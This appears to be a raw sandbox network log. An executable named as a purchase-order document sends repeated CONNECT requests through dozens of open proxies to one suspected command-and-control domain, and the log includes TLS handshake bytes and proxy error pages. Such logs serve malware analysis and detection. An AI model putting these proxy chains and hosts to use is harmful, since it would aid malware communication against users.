Mar 11, 2024 16:39:45.199019909 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:39:45 GMT Server: nginx Content-Type: text/plain Content-Length: 0
Mar 11, 2024 16:39:45.200086117 CET	202	OUT	Data Raw: 16 03 03 00 c5 01 00 00 c1 03 03 65 ef 25 c0 b1 66 9a 5a 2b e5 bf 8b 27 f1 db c3 e1 36 25 d1 c3 64 cb c8 1a 73 cf ee 6e 74 7b d8 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: e%fZ+'6%dsnt{*,+0/$#('=<5/n-+(heygirlisheeverythingyouwantedinaman.com#
Mar 11, 2024 16:39:45.522310019 CET	1129	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 68 86 7d 76 bd 1d fb b0 aa fa df ad a9 29 46 30 d2 c5 e9 a6 1a 87 ae b2 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 e8 0b 00 02 e4 00 02 e1 00 02 de 30 Data Ascii: =9h}v)F0DOWNGRD0000*H03110/U(heygirlisheeverythingyouwantedinaman.com0240311151112Z260311151112Z03110/U(heygirlisheeverythingyouwantedinaman.c
Mar 11, 2024 16:39:45.524775982 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 23 53 36 c5 a9 40 af 5d 1b c1 0f 53 a1 2e 4a 37 8a d3 f3 9e fb bc 4b 61 01 5d 2f 38 c0 a9 d1 0c 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 35 60 9d e8 b7 ce db c1 d8 f4 99 42 b0 d5 68 b1 f4 2f c4 3d 2c Data Ascii: %! #S6@]S.J7Ka]/8(5`Bh/=,A>(G
Mar 11, 2024 16:39:45.845706940 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 be bd 78 b9 25 80 98 30 24 d6 91 a3 ef dc 5a af 90 83 62 6b b2 a9 91 a6 ba 74 3b 54 11 a7 19 50 42 c5 aa 71 97 96 1f ba Data Ascii: (x%0$Zbkt;TPBq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
275	192.168.2.10	50870	47.242.234.237	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.890734911 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
276	192.168.2.10	50996	38.54.95.19	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.901648045 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.836749077 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
277	192.168.2.10	50902	54.36.122.16	29796	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.911299944 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.567997932 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.489166021 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.489065886 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
278	192.168.2.10	50852	202.179.184.44	5430	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.914227962 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
279	192.168.2.10	50952	212.110.188.195	34411	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.914372921 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.553441048 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.489011049 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.286072969 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.786063910 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.286328077 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:03.918230057 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
280	192.168.2.10	51014	23.95.209.142	15673	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.920445919 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
281	192.168.2.10	51057	107.180.103.214	61634	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.923933029 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.363832951 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.864068031 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.989160061 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.989626884 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.973743916 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.989588976 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:56.989162922 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:04.973445892 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
282	192.168.2.10	49874	1.15.62.12	5678	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.928721905 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
283	192.168.2.10	51065	154.208.10.126	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.928910017 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.089788914 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.23.1 Date: Mon, 11 Mar 2024 15:39:45 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 33 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.23.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
284	192.168.2.10	50912	47.93.121.200	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.931345940 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.260642052 CET	767	IN	HTTP/1.1 403 Forbidden Server: Beaver Cache-Control: no-cache Content-Type: text/html Content-Length: 635 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 39 30 36 35 32 39 37 31 39 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003906529719"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Mar 11, 2024 16:39:45.261681080 CET	172	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.4.4</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
285	192.168.2.10	50983	98.162.25.29	31679	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.932188034 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
286	192.168.2.10	50984	174.64.199.82	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.933051109 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
287	192.168.2.10	50948	103.197.71.7	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.933156967 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
288	192.168.2.10	51008	162.243.102.207	9764	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.935666084 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
289	192.168.2.10	50961	195.248.243.149	7237	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.937149048 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.598180056 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.676534891 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
290	192.168.2.10	51016	194.4.50.91	12334	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.942558050 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
291	192.168.2.10	50918	39.108.227.108	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.943365097 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.291835070 CET	767	IN	HTTP/1.1 403 Forbidden Server: Beaver Cache-Control: no-cache Content-Type: text/html Content-Length: 635 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 39 30 38 33 31 33 38 37 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003908313874"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
292	192.168.2.10	51018	194.4.50.61	12334	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.943451881 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
293	192.168.2.10	49977	107.180.88.173	59820	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.949980021 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.989026070 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
